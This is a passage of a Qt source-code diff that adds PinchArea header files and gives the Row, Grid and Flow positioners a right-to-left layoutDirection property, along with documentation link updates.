+** You may use this file in accordance with the terms and conditions
+** contained in the Technology Preview License Agreement accompanying
+** this package.
+**
+** GNU Lesser General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU Lesser
+** General Public License version 2.1 as published by the Free Software
+** Foundation and appearing in the file LICENSE.LGPL included in the
+** packaging of this file.  Please review the following information to
+** ensure the GNU Lesser General Public License version 2.1 requirements
+** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights.  These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** If you have questions regarding the use of this file, please contact
+** Nokia at qt-info@nokia.com.
+**
+**
+**
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QDECLARATIVEPINCHAREA_H
+#define QDECLARATIVEPINCHAREA_H
+
+#include <qdeclarativeitem.h>
+
+QT_BEGIN_HEADER
+
+QT_BEGIN_NAMESPACE
+
+QT_MODULE(Declarative)
+
+class Q_AUTOTEST_EXPORT QDeclarativePinch : public QObject
+{
+    Q_OBJECT
+
+    Q_ENUMS(Axis)
+    Q_PROPERTY(QGraphicsObject *target READ target WRITE setTarget RESET resetTarget)
+    Q_PROPERTY(qreal minimumScale READ minimumScale WRITE setMinimumScale NOTIFY minimumScaleChanged)
+    Q_PROPERTY(qreal maximumScale READ maximumScale WRITE setMaximumScale NOTIFY maximumScaleChanged)
+    Q_PROPERTY(qreal minimumRotation READ minimumRotation WRITE setMinimumRotation NOTIFY minimumRotationChanged)
+    Q_PROPERTY(qreal maximumRotation READ maximumRotation WRITE setMaximumRotation NOTIFY maximumRotationChanged)
+    Q_PROPERTY(Axis dragAxis READ axis WRITE setAxis NOTIFY dragAxisChanged)
+    Q_PROPERTY(qreal minimumX READ xmin WRITE setXmin NOTIFY minimumXChanged)
+    Q_PROPERTY(qreal maximumX READ xmax WRITE setXmax NOTIFY maximumXChanged)
+    Q_PROPERTY(qreal minimumY READ ymin WRITE setYmin NOTIFY minimumYChanged)
+    Q_PROPERTY(qreal maximumY READ ymax WRITE setYmax NOTIFY maximumYChanged)
+    Q_PROPERTY(bool active READ active NOTIFY activeChanged)
+
+public:
+    QDeclarativePinch();
+
+    QGraphicsObject *target() const { return m_target; }
+    void setTarget(QGraphicsObject *target) {
+        if (target == m_target)
+            return;
+        m_target = target;
+        emit targetChanged();
+    }
+    void resetTarget() {
+        if (!m_target)
+            return;
+        m_target = 0;
+        emit targetChanged();
+    }
+
+    qreal minimumScale() const { return m_minScale; }
+    void setMinimumScale(qreal s) {
+        if (s == m_minScale)
+            return;
+        m_minScale = s;
+        emit minimumScaleChanged();
+    }
+    qreal maximumScale() const { return m_maxScale; }
+    void setMaximumScale(qreal s) {
+        if (s == m_maxScale)
+            return;
+        m_maxScale = s;
+        emit maximumScaleChanged();
+    }
+
+    qreal minimumRotation() const { return m_minRotation; }
+    void setMinimumRotation(qreal r) {
+        if (r == m_minRotation)
+            return;
+        m_minRotation = r;
+        emit minimumRotationChanged();
+    }
+    qreal maximumRotation() const { return m_maxRotation; }
+    void setMaximumRotation(qreal r) {
+        if (r == m_maxRotation)
+            return;
+        m_maxRotation = r;
+        emit maximumRotationChanged();
+    }
+
+    enum Axis { NoDrag=0x00, XAxis=0x01, YAxis=0x02, XandYAxis=0x03 };
+    Axis axis() const { return m_axis; }
+    void setAxis(Axis a) {
+        if (a == m_axis)
+            return;
+        m_axis = a;
+        emit dragAxisChanged();
+    }
+
+    qreal xmin() const { return m_xmin; }
+    void setXmin(qreal x) {
+        if (x == m_xmin)
+            return;
+        m_xmin = x;
+        emit minimumXChanged();
+    }
+    qreal xmax() const { return m_xmax; }
+    void setXmax(qreal x) {
+        if (x == m_xmax)
+            return;
+        m_xmax = x;
+        emit maximumXChanged();
+    }
+    qreal ymin() const { return m_ymin; }
+    void setYmin(qreal y) {
+        if (y == m_ymin)
+            return;
+        m_ymin = y;
+        emit minimumYChanged();
+    }
+    qreal ymax() const { return m_ymax; }
+    void setYmax(qreal y) {
+        if (y == m_ymax)
+            return;
+        m_ymax = y;
+        emit maximumYChanged();
+    }
+
+    bool active() const { return m_active; }
+    void setActive(bool a) {
+        if (a == m_active)
+            return;
+        m_active = a;
+        emit activeChanged();
+    }
+
+signals:
+    void targetChanged();
+    void minimumScaleChanged();
+    void maximumScaleChanged();
+    void minimumRotationChanged();
+    void maximumRotationChanged();
+    void dragAxisChanged();
+    void minimumXChanged();
+    void maximumXChanged();
+    void minimumYChanged();
+    void maximumYChanged();
+    void activeChanged();
+
+private:
+    QGraphicsObject *m_target;
+    qreal m_minScale;
+    qreal m_maxScale;
+    qreal m_minRotation;
+    qreal m_maxRotation;
+    Axis m_axis;
+    qreal m_xmin;
+    qreal m_xmax;
+    qreal m_ymin;
+    qreal m_ymax;
+    bool m_active;
+};
+
+class Q_AUTOTEST_EXPORT QDeclarativePinchEvent : public QObject
+{
+    Q_OBJECT
+
+    Q_PROPERTY(QPointF center READ center)
+    Q_PROPERTY(QPointF startCenter READ startCenter)
+    Q_PROPERTY(QPointF previousCenter READ previousCenter)
+    Q_PROPERTY(qreal scale READ scale)
+    Q_PROPERTY(qreal previousScale READ previousScale)
+    Q_PROPERTY(qreal angle READ angle)
+    Q_PROPERTY(qreal previousAngle READ previousAngle)
+    Q_PROPERTY(qreal rotation READ rotation)
+    Q_PROPERTY(QPointF point1 READ point1)
+    Q_PROPERTY(QPointF startPoint1 READ startPoint1)
+    Q_PROPERTY(QPointF point2 READ point2)
+    Q_PROPERTY(QPointF startPoint2 READ startPoint2)
+    Q_PROPERTY(bool accepted READ accepted WRITE setAccepted)
+
+public:
+    QDeclarativePinchEvent(QPointF c, qreal s, qreal a, qreal r)
+        : QObject(), m_center(c), m_scale(s), m_angle(a), m_rotation(r), m_accepted(true) {}
+
+    QPointF center() const { return m_center; }
+    QPointF startCenter() const { return m_startCenter; }
+    void setStartCenter(QPointF c) { m_startCenter = c; }
+    QPointF previousCenter() const { return m_lastCenter; }
+    void setPreviousCenter(QPointF c) { m_lastCenter = c; }
+    qreal scale() const { return m_scale; }
+    qreal previousScale() const { return m_lastScale; }
+    void setPreviousScale(qreal s) { m_lastScale = s; }
+    qreal angle() const { return m_angle; }
+    qreal previousAngle() const { return m_lastAngle; }
+    void setPreviousAngle(qreal a) { m_lastAngle = a; }
+    qreal rotation() const { return m_rotation; }
+    QPointF point1() const { return m_point1; }
+    void setPoint1(QPointF p) { m_point1 = p; }
+    QPointF startPoint1() const { return m_startPoint1; }
+    void setStartPoint1(QPointF p) { m_startPoint1 = p; }
+    QPointF point2() const { return m_point2; }
+    void setPoint2(QPointF p) { m_point2 = p; }
+    QPointF startPoint2() const { return m_startPoint2; }
+    void setStartPoint2(QPointF p) { m_startPoint2 = p; }
+
+    bool accepted() const { return m_accepted; }
+    void setAccepted(bool a) { m_accepted = a; }
+
+private:
+    QPointF m_center;
+    QPointF m_startCenter;
+    QPointF m_lastCenter;
+    qreal m_scale;
+    qreal m_lastScale;
+    qreal m_angle;
+    qreal m_lastAngle;
+    qreal m_rotation;
+    QPointF m_point1;
+    QPointF m_point2;
+    QPointF m_startPoint1;
+    QPointF m_startPoint2;
+    bool m_accepted;
+};
+
+
+class QDeclarativeMouseEvent;
+class QDeclarativePinchAreaPrivate;
+class Q_AUTOTEST_EXPORT QDeclarativePinchArea : public QDeclarativeItem
+{
+    Q_OBJECT
+
+    Q_PROPERTY(bool enabled READ isEnabled WRITE setEnabled NOTIFY enabledChanged)
+    Q_PROPERTY(QDeclarativePinch *pinch READ pinch CONSTANT)
+
+public:
+    QDeclarativePinchArea(QDeclarativeItem *parent=0);
+    ~QDeclarativePinchArea();
+
+    bool isEnabled() const;
+    void setEnabled(bool);
+
+    QDeclarativePinch *pinch();
+
+Q_SIGNALS:
+    void enabledChanged();
+    void pinchStarted(QDeclarativePinchEvent *pinch);
+    void pinchUpdated(QDeclarativePinchEvent *pinch);
+    void pinchFinished(QDeclarativePinchEvent *pinch);
+
+protected:
+    void mousePressEvent(QGraphicsSceneMouseEvent *event);
+    void mouseReleaseEvent(QGraphicsSceneMouseEvent *event);
+    void mouseMoveEvent(QGraphicsSceneMouseEvent *event);
+    bool sceneEvent(QEvent *);
+    bool sendMouseEvent(QGraphicsSceneMouseEvent *event);
+    bool sceneEventFilter(QGraphicsItem *i, QEvent *e);
+    bool event(QEvent *);
+
+    virtual void geometryChanged(const QRectF &newGeometry,
+                                 const QRectF &oldGeometry);
+    virtual QVariant itemChange(GraphicsItemChange change, const QVariant& value);
+
+private:
+    void updatePinch();
+    void handlePress();
+    void handleRelease();
+
+private:
+    Q_DISABLE_COPY(QDeclarativePinchArea)
+    Q_DECLARE_PRIVATE_D(QGraphicsItem::d_ptr.data(), QDeclarativePinchArea)
+};
+
+QT_END_NAMESPACE
+
+QML_DECLARE_TYPE(QDeclarativePinch)
+QML_DECLARE_TYPE(QDeclarativePinchEvent)
+QML_DECLARE_TYPE(QDeclarativePinchArea)
+
+QT_END_HEADER
+
+#endif // QDECLARATIVEPINCHAREA_H
diff --git a/src/declarative/graphicsitems/qdeclarativepincharea_p_p.h b/src/declarative/graphicsitems/qdeclarativepincharea_p_p.h
new file mode 100644
index 0000000..5641e35
--- /dev/null
+++ b/src/declarative/graphicsitems/qdeclarativepincharea_p_p.h
@@ -0,0 +1,109 @@
+/****************************************************************************
+**
+** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** No Commercial Usage
+** This file contains pre-release code and may not be distributed.
+** You may use this file in accordance with the terms and conditions
+** contained in the Technology Preview License Agreement accompanying
+** this package.
+**
+** GNU Lesser General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU Lesser
+** General Public License version 2.1 as published by the Free Software
+** Foundation and appearing in the file LICENSE.LGPL included in the
+** packaging of this file.  Please review the following information to
+** ensure the GNU Lesser General Public License version 2.1 requirements
+** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights.  These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** If you have questions regarding the use of this file, please contact
+** Nokia at qt-info@nokia.com.
+**
+**
+**
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QDECLARATIVEPINCHAREA_P_H
+#define QDECLARATIVEPINCHAREA_P_H
+
+//
+//  W A R N I N G
+//  -------------
+//
+// This file is not part of the Qt API.  It exists purely as an
+// implementation detail.  This header file may change from version to
+// version without notice, or even be removed.
+//
+// We mean it.
+//
+
+#include <qdatetime.h>
+#include <qbasictimer.h>
+#include <qevent.h>
+#include <qgraphicssceneevent.h>
+#include "qdeclarativeitem_p.h"
+
+QT_BEGIN_NAMESPACE
+
+class QDeclarativePinch;
+class QDeclarativePinchAreaPrivate : public QDeclarativeItemPrivate
+{
+    Q_DECLARE_PUBLIC(QDeclarativePinchArea)
+public:
+    QDeclarativePinchAreaPrivate()
+      : absorb(true), stealMouse(false), inPinch(false)
+      , pinchRejected(false), pinch(0), pinchStartDist(0)
+    {
+    }
+
+    ~QDeclarativePinchAreaPrivate();
+
+    void init()
+    {
+        Q_Q(QDeclarativePinchArea);
+        q->setAcceptedMouseButtons(Qt::LeftButton);
+        q->setAcceptTouchEvents(true);
+        q->setFiltersChildEvents(true);
+    }
+
+    bool absorb : 1;
+    bool stealMouse : 1;
+    bool inPinch : 1;
+    bool pinchRejected : 1;
+    QDeclarativePinch *pinch;
+    QPointF sceneStartPoint1;
+    QPointF sceneStartPoint2;
+    QPointF lastPoint1;
+    QPointF lastPoint2;
+    qreal pinchStartDist;
+    qreal pinchStartScale;
+    qreal pinchLastScale;
+    qreal pinchStartRotation;
+    qreal pinchStartAngle;
+    qreal pinchLastAngle;
+    QPointF sceneStartCenter;
+    QPointF pinchStartCenter;
+    QPointF sceneLastCenter;
+    QPointF pinchStartPos;
+    QList<QTouchEvent::TouchPoint> touchPoints;
+};
+
+QT_END_NAMESPACE
+
+#endif // QDECLARATIVEPINCHAREA_P_H
diff --git a/src/declarative/graphicsitems/qdeclarativepositioners.cpp b/src/declarative/graphicsitems/qdeclarativepositioners.cpp
index 4e049c7..27a1301 100644
--- a/src/declarative/graphicsitems/qdeclarativepositioners.cpp
+++ b/src/declarative/graphicsitems/qdeclarativepositioners.cpp
@@ -111,14 +111,14 @@ void QDeclarativeBasePositioner::graphicsWidgetGeometryChanged()
     Note that the subclass is responsible for adding the spacing in between items.
 */
 QDeclarativeBasePositioner::QDeclarativeBasePositioner(PositionerType at, QDeclarativeItem *parent)
-    : QDeclarativeItem(*(new QDeclarativeBasePositionerPrivate), parent)
+    : QDeclarativeImplicitSizeItem(*(new QDeclarativeBasePositionerPrivate), parent)
 {
     Q_D(QDeclarativeBasePositioner);
     d->init(at);
 }
 
 QDeclarativeBasePositioner::QDeclarativeBasePositioner(QDeclarativeBasePositionerPrivate &dd, PositionerType at, QDeclarativeItem *parent)
-    : QDeclarativeItem(dd, parent)
+    : QDeclarativeImplicitSizeItem(dd, parent)
 {
     Q_D(QDeclarativeBasePositioner);
     d->init(at);
@@ -364,9 +364,13 @@ void QDeclarativeBasePositioner::finishApplyTransitions()
   \qml
   Column {
       spacing: 2
-      add: ...
-      move: ...
-      ...
+      add: Transition {
+          // Define an animation for adding a new item...
+      }
+      move: Transition {
+          // Define an animation for moving items within the column...
+      }
+      // ...
   }
   \endqml
 
@@ -381,7 +385,7 @@ void QDeclarativeBasePositioner::finishApplyTransitions()
 
   Items with a width or height of 0 will not be positioned.
 
-  \sa Row, Grid, Flow, {declarative/positioners}{Positioners example}
+  \sa Row, Grid, Flow, {declarative/positioners/addandremove}{Positioners example}
 */
 /*!
     \qmlproperty Transition Column::add
@@ -421,7 +425,7 @@ void QDeclarativeBasePositioner::finishApplyTransitions()
     }
     \endqml
 
-    \sa add, {declarative/positioners}{Positioners example}
+    \sa add, {declarative/positioners/addandremove}{Positioners example}
 */
 /*!
   \qmlproperty int Column::spacing
@@ -524,7 +528,7 @@ void QDeclarativeColumn::reportConflictingAnchors()
 
   Items with a width or height of 0 will not be positioned.
 
-  \sa Column, Grid, Flow, {declarative/positioners}{Positioners example}
+  \sa Column, Grid, Flow, {declarative/positioners/addandremove}{Positioners example}
 */
 /*!
     \qmlproperty Transition Row::add
@@ -563,7 +567,7 @@ void QDeclarativeColumn::reportConflictingAnchors()
     }
     \endqml
 
-    \sa add, {declarative/positioners}{Positioners example}
+    \sa add, {declarative/positioners/addandremove}{Positioners example}
 */
 /*!
   \qmlproperty int Row::spacing
@@ -574,21 +578,55 @@ void QDeclarativeColumn::reportConflictingAnchors()
   \sa Grid::spacing
 */
 QDeclarativeRow::QDeclarativeRow(QDeclarativeItem *parent)
-: QDeclarativeBasePositioner(Horizontal, parent)
+: QDeclarativeBasePositioner(Horizontal, parent), m_layoutDirection(Qt::LeftToRight)
 {
 }
 
+/*!
+    \qmlproperty enumeration Row::layoutDirection
+    This property holds the layoutDirection of the row.
+
+    Possible values:
+
+    \list
+    \o Qt.LeftToRight (default) - Items are laid out from left to right. If the width of the row is explicitly set,
+    the left anchor remains to the left of the row.
+    \o Qt.RightToLeft - Items are laid out from right to left. If the width of the row is explicitly set,
+    the right anchor remains to the right of the row.
+    \endlist
+
+    \sa Grid::layoutDirection, Flow::layoutDirection, {declarative/positioners/layoutdirection}{Layout directions example}
+*/
+Qt::LayoutDirection QDeclarativeRow::layoutDirection() const
+{
+    return m_layoutDirection;
+}
+
+void QDeclarativeRow::setLayoutDirection(Qt::LayoutDirection layoutDirection)
+{
+    if (m_layoutDirection != layoutDirection) {
+        m_layoutDirection = layoutDirection;
+        prePositioning();
+        emit layoutDirectionChanged();
+    }
+}
+
 void QDeclarativeRow::doPositioning(QSizeF *contentSize)
 {
     int hoffset = 0;
 
+    QList<int> hoffsets;
     for (int ii = 0; ii < positionedItems.count(); ++ii) {
         const PositionedItem &child = positionedItems.at(ii);
         if (!child.item || !child.isVisible)
             continue;
 
-        if(child.item->x() != hoffset)
-            positionX(hoffset, child);
+        if(m_layoutDirection == Qt::LeftToRight){
+            if(child.item->x() != hoffset)
+                positionX(hoffset, child);
+        }else{
+            hoffsets << hoffset;
+        }
 
         contentSize->setHeight(qMax(contentSize->height(), QGraphicsItemPrivate::get(child.item)->height()));
 
@@ -597,6 +635,26 @@ void QDeclarativeRow::doPositioning(QSizeF *contentSize)
     }
 
     contentSize->setWidth(hoffset - spacing());
+
+    if(m_layoutDirection == Qt::LeftToRight)
+        return;
+
+    //Right to Left layout
+    int end = 0;
+    if(!widthValid())
+        end = contentSize->width();
+    else
+        end = width();
+
+    int acc = 0;
+    for (int ii = 0; ii < positionedItems.count(); ++ii) {
+        const PositionedItem &child = positionedItems.at(ii);
+        if (!child.item || !child.isVisible)
+            continue;
+        hoffset = end - hoffsets[acc++] - QGraphicsItemPrivate::get(child.item)->width();
+        if(child.item->x() != hoffset)
+            positionX(hoffset, child);
+    }
 }
 
 void QDeclarativeRow::reportConflictingAnchors()
@@ -674,7 +732,7 @@ void QDeclarativeRow::reportConflictingAnchors()
 
   Items with a width or height of 0 will not be positioned.
 
-  \sa Flow, Row, Column, {declarative/positioners}{Positioners example}
+  \sa Flow, Row, Column, {declarative/positioners/addandremove}{Positioners example}
 */
 /*!
     \qmlproperty Transition Grid::add
@@ -712,7 +770,7 @@ void QDeclarativeRow::reportConflictingAnchors()
     }
     \endqml
 
-    \sa add, {declarative/positioners}{Positioners example}
+    \sa add, {declarative/positioners/addandremove}{Positioners example}
 */
 /*!
   \qmlproperty int Grid::spacing
@@ -732,7 +790,7 @@ void QDeclarativeRow::reportConflictingAnchors()
   \sa rows, columns
 */
 QDeclarativeGrid::QDeclarativeGrid(QDeclarativeItem *parent) :
-    QDeclarativeBasePositioner(Both, parent), m_rows(-1), m_columns(-1), m_flow(LeftToRight)
+    QDeclarativeBasePositioner(Both, parent), m_rows(-1), m_columns(-1), m_flow(LeftToRight), m_layoutDirection(Qt::LeftToRight)
 {
 }
 
@@ -780,7 +838,7 @@ void QDeclarativeGrid::setRows(const int rows)
 
     \list
     \o Grid.LeftToRight (default) - Items are positioned next to
-       to each other from left to right, then wrapped to the next line.
+       each other in the \l layoutDirection, then wrapped to the next line.
     \o Grid.TopToBottom - Items are positioned next to each
        other from top to bottom, then wrapped to the next column.
     \endlist
@@ -799,6 +857,37 @@ void QDeclarativeGrid::setFlow(Flow flow)
     }
 }
 
+/*!
+    \qmlproperty enumeration Grid::layoutDirection
+    This property holds the layout direction of the layout.
+
+    Possible values are:
+
+    \list
+    \o Qt.LeftToRight (default) - Items are positioned beginning
+    from the top, left anchor. The flow direction is dependent
+    on the \l Grid::flow property.
+    \o Qt.RightToLeft - Items are positioned beginning from the
+    top, right anchor. The flow direction is dependent on the
+    \l Grid::flow property.
+    \endlist
+
+    \sa Flow::layoutDirection, Row::layoutDirection, {declarative/positioners/layoutdirection}{Layout directions example}
+*/
+Qt::LayoutDirection QDeclarativeGrid::layoutDirection() const
+{
+    return m_layoutDirection;
+}
+
+void QDeclarativeGrid::setLayoutDirection(Qt::LayoutDirection layoutDirection)
+{
+    if (m_layoutDirection != layoutDirection) {
+        m_layoutDirection = layoutDirection;
+        prePositioning();
+        emit layoutDirectionChanged();
+    }
+}
+
 void QDeclarativeGrid::doPositioning(QSizeF *contentSize)
 {
 
@@ -821,6 +910,9 @@ void QDeclarativeGrid::doPositioning(QSizeF *contentSize)
         c = (numVisible+(m_rows-1))/m_rows;
     }
 
+    if(r==0 || c==0)
+        return; //Nothing to do
+
     QList<int> maxColWidth;
     QList<int> maxRowHeight;
     int childIndex =0;
@@ -851,7 +943,7 @@ void QDeclarativeGrid::doPositioning(QSizeF *contentSize)
                 if (i==0)
                     maxColWidth << 0;
 
-                if (childIndex == positionedItems.count())
+                if (childIndex == visibleItems.count())
                     break;
 
                 const PositionedItem &child = visibleItems.at(childIndex++);
@@ -864,40 +956,71 @@ void QDeclarativeGrid::doPositioning(QSizeF *contentSize)
         }
     }
 
+    int widthSum = 0;
+    for(int j=0; j < maxColWidth.size(); j++){
+        if(j)
+            widthSum += spacing();
+        widthSum += maxColWidth[j];
+    }
+
+    int heightSum = 0;
+    for(int i=0; i < maxRowHeight.size(); i++){
+        if(i)
+            heightSum += spacing();
+        heightSum += maxRowHeight[i];
+    }
+
+    contentSize->setHeight(heightSum);
+    contentSize->setWidth(widthSum);
+
+    int end = 0;
+    if(widthValid())
+        end = width();
+    else
+        end = widthSum;
+
     int xoffset=0;
+    if(m_layoutDirection == Qt::RightToLeft)
+        xoffset=end;
     int yoffset=0;
     int curRow =0;
     int curCol =0;
     for (int i = 0; i < visibleItems.count(); ++i) {
         const PositionedItem &child = visibleItems.at(i);
-        if((child.item->x()!=xoffset)||(child.item->y()!=yoffset)){
-            positionX(xoffset, child);
+        int childXOffset = xoffset;
+        if(m_layoutDirection == Qt::RightToLeft)
+            childXOffset -= QGraphicsItemPrivate::get(child.item)->width();
+        if((child.item->x()!=childXOffset)||(child.item->y()!=yoffset)){
+            positionX(childXOffset, child);
             positionY(yoffset, child);
         }
 
         if (m_flow == LeftToRight) {
-            contentSize->setWidth(qMax(contentSize->width(), xoffset + QGraphicsItemPrivate::get(child.item)->width()));
-            contentSize->setHeight(yoffset + maxRowHeight[curRow]);
-
-            xoffset+=maxColWidth[curCol]+spacing();
+            if(m_layoutDirection == Qt::LeftToRight)
+                xoffset+=maxColWidth[curCol]+spacing();
+            else
+                xoffset-=maxColWidth[curCol]+spacing();
             curCol++;
             curCol%=c;
             if (!curCol){
                 yoffset+=maxRowHeight[curRow]+spacing();
-                xoffset=0;
+                if(m_layoutDirection == Qt::LeftToRight)
+                    xoffset=0;
+                else
+                    xoffset=end;
                 curRow++;
                 if (curRow>=r)
                     break;
             }
         } else {
-            contentSize->setHeight(qMax(contentSize->height(), yoffset + QGraphicsItemPrivate::get(child.item)->height()));
-            contentSize->setWidth(xoffset + maxColWidth[curCol]);
-
             yoffset+=maxRowHeight[curRow]+spacing();
             curRow++;
             curRow%=r;
             if (!curRow){
-                xoffset+=maxColWidth[curCol]+spacing();
+                if(m_layoutDirection == Qt::LeftToRight)
+                    xoffset+=maxColWidth[curCol]+spacing();
+                else
+                    xoffset-=maxColWidth[curCol]+spacing();
                 yoffset=0;
                 curCol++;
                 if (curCol>=c)
@@ -973,7 +1096,7 @@ void QDeclarativeGrid::reportConflictingAnchors()
 
   Items with a width or height of 0 will not be positioned.
 
-  \sa Column, Row, Grid, {declarative/positioners}{Positioners example}
+  \sa Column, Row, Grid, {declarative/positioners/addandremove}{Positioners example}
 */
 /*!
     \qmlproperty Transition Flow::add
@@ -1012,7 +1135,7 @@ void QDeclarativeGrid::reportConflictingAnchors()
     }
     \endqml
 
-    \sa add, {declarative/positioners}{Positioners example}
+    \sa add, {declarative/positioners/addandremove}{Positioners example}
 */
 /*!
   \qmlproperty int Flow::spacing
@@ -1029,10 +1152,12 @@ class QDeclarativeFlowPrivate : public QDeclarativeBasePositionerPrivate
 
 public:
     QDeclarativeFlowPrivate()
-        : QDeclarativeBasePositionerPrivate(), flow(QDeclarativeFlow::LeftToRight)
+        : QDeclarativeBasePositionerPrivate(), flow(QDeclarativeFlow::LeftToRight),
+            layoutDirection(Qt::LeftToRight)
     {}
 
     QDeclarativeFlow::Flow flow;
+    Qt::LayoutDirection layoutDirection;
 };
 
 QDeclarativeFlow::QDeclarativeFlow(QDeclarativeItem *parent)
@@ -1051,7 +1176,7 @@ QDeclarativeFlow::QDeclarativeFlow(QDeclarativeItem *parent)
 
     \list
     \o Flow.LeftToRight (default) - Items are positioned next to
-    to each other from left to right until the width of the Flow
+    to each other according to the \l layoutDirection until the width of the Flow
     is exceeded, then wrapped to the next line.
     \o Flow.TopToBottom - Items are positioned next to each
     other from top to bottom until the height of the Flow is exceeded,
@@ -1074,6 +1199,40 @@ void QDeclarativeFlow::setFlow(Flow flow)
     }
 }
 
+/*!
+    \qmlproperty enumeration Flow::layoutDirection
+    This property holds the layout direction of the layout.
+
+    Possible values are:
+
+    \list
+    \o Qt.LeftToRight (default) - Items are positioned beginning
+    from the top, left anchor. The flow direction is dependent
+    on the \l Flow::flow property.
+    \o Qt.RightToLeft - Items are positioned beginning from the
+    top, right anchor. The flow direction is dependent on the
+    \l Flow::flow property.
+    \endlist
+
+    \sa Grid::layoutDirection, Row::layoutDirection, {declarative/positioners/layoutdirection}{Layout directions example}
+*/
+
+Qt::LayoutDirection QDeclarativeFlow::layoutDirection() const
+{
+    Q_D(const QDeclarativeFlow);
+    return d->layoutDirection;
+}
+
+void QDeclarativeFlow::setLayoutDirection(Qt::LayoutDirection layoutDirection)
+{
+    Q_D(QDeclarativeFlow);
+    if (d->layoutDirection != layoutDirection) {
+        d->layoutDirection = layoutDirection;
+        prePositioning();
+        emit layoutDirectionChanged();
+    }
+}
+
 void QDeclarativeFlow::doPositioning(QSizeF *contentSize)
 {
     Q_D(QDeclarativeFlow);
@@ -1081,6 +1240,7 @@ void QDeclarativeFlow::doPositioning(QSizeF *contentSize)
     int hoffset = 0;
     int voffset = 0;
     int linemax = 0;
+    QList<int> hoffsets;
 
     for (int i = 0; i < positionedItems.count(); ++i) {
         const PositionedItem &child = positionedItems.at(i);
@@ -1102,10 +1262,14 @@ void QDeclarativeFlow::doPositioning(QSizeF *contentSize)
             }
         }
 
-        if(child.item->x() != hoffset || child.item->y() != voffset){
-            positionX(hoffset, child);
-            positionY(voffset, child);
+        if(d->layoutDirection == Qt::LeftToRight){
+            if(child.item->x() != hoffset)
+                positionX(hoffset, child);
+        }else{
+            hoffsets << hoffset;
         }
+        if(child.item->y() != voffset)
+            positionY(voffset, child);
 
         contentSize->setWidth(qMax(contentSize->width(), hoffset + childPrivate->width()));
         contentSize->setHeight(qMax(contentSize->height(), voffset + childPrivate->height()));
@@ -1120,6 +1284,24 @@ void QDeclarativeFlow::doPositioning(QSizeF *contentSize)
             linemax = qMax(linemax, qCeil(childPrivate->width()));
         }
     }
+
+    if(d->layoutDirection == Qt::LeftToRight)
+        return;
+
+    int end;
+    if(widthValid())
+        end = width();
+    else
+        end = contentSize->width();
+    int acc = 0;
+    for (int i = 0; i < positionedItems.count(); ++i) {
+        const PositionedItem &child = positionedItems.at(i);
+        if (!child.item || !child.isVisible)
+            continue;
+        hoffset = end - hoffsets[acc++] - QGraphicsItemPrivate::get(child.item)->width();
+        if(child.item->x() != hoffset)
+            positionX(hoffset, child);
+    }
 }
 
 void QDeclarativeFlow::reportConflictingAnchors()
diff --git a/src/declarative/graphicsitems/qdeclarativepositioners_p.h b/src/declarative/graphicsitems/qdeclarativepositioners_p.h
index 9efbeb9..55d8fa1 100644
--- a/src/declarative/graphicsitems/qdeclarativepositioners_p.h
+++ b/src/declarative/graphicsitems/qdeclarativepositioners_p.h
@@ -42,7 +42,7 @@
 #ifndef QDECLARATIVELAYOUTS_H
 #define QDECLARATIVELAYOUTS_H
 
-#include "qdeclarativeitem.h"
+#include "qdeclarativeimplicitsizeitem_p.h"
 
 #include <private/qdeclarativestate_p.h>
 #include <private/qpodvector_p.h>
@@ -57,7 +57,7 @@ QT_BEGIN_NAMESPACE
 QT_MODULE(Declarative)
 class QDeclarativeBasePositionerPrivate;
 
-class Q_DECLARATIVE_PRIVATE_EXPORT QDeclarativeBasePositioner : public QDeclarativeItem
+class Q_DECLARATIVE_PRIVATE_EXPORT QDeclarativeBasePositioner : public QDeclarativeImplicitSizeItem
 {
     Q_OBJECT
 
@@ -129,12 +129,21 @@ private:
 class Q_AUTOTEST_EXPORT QDeclarativeRow: public QDeclarativeBasePositioner
 {
     Q_OBJECT
+    Q_PROPERTY(Qt::LayoutDirection layoutDirection READ layoutDirection WRITE setLayoutDirection NOTIFY layoutDirectionChanged REVISION 1)
 public:
     QDeclarativeRow(QDeclarativeItem *parent=0);
+
+    Qt::LayoutDirection layoutDirection() const;
+    void setLayoutDirection (Qt::LayoutDirection);
+
+Q_SIGNALS:
+    Q_REVISION(1) void layoutDirectionChanged();
+
 protected:
     virtual void doPositioning(QSizeF *contentSize);
     virtual void reportConflictingAnchors();
 private:
+    Qt::LayoutDirection m_layoutDirection;
     Q_DISABLE_COPY(QDeclarativeRow)
 };
 
@@ -144,6 +153,7 @@ class Q_AUTOTEST_EXPORT QDeclarativeGrid : public QDeclarativeBasePositioner
     Q_PROPERTY(int rows READ rows WRITE setRows NOTIFY rowsChanged)
     Q_PROPERTY(int columns READ columns WRITE setColumns NOTIFY columnsChanged)
     Q_PROPERTY(Flow flow READ flow WRITE setFlow NOTIFY flowChanged)
+    Q_PROPERTY(Qt::LayoutDirection layoutDirection READ layoutDirection WRITE setLayoutDirection NOTIFY layoutDirectionChanged REVISION 1)
 
 public:
     QDeclarativeGrid(QDeclarativeItem *parent=0);
@@ -159,10 +169,14 @@ public:
     Flow flow() const;
     void setFlow(Flow);
 
+    Qt::LayoutDirection layoutDirection() const;
+    void setLayoutDirection (Qt::LayoutDirection);
+
 Q_SIGNALS:
     void rowsChanged();
     void columnsChanged();
     void flowChanged();
+    Q_REVISION(1) void layoutDirectionChanged();
 
 protected:
     virtual void doPositioning(QSizeF *contentSize);
@@ -172,6 +186,7 @@ private:
     int m_rows;
     int m_columns;
     Flow m_flow;
+    Qt::LayoutDirection m_layoutDirection;
     Q_DISABLE_COPY(QDeclarativeGrid)
 };
 
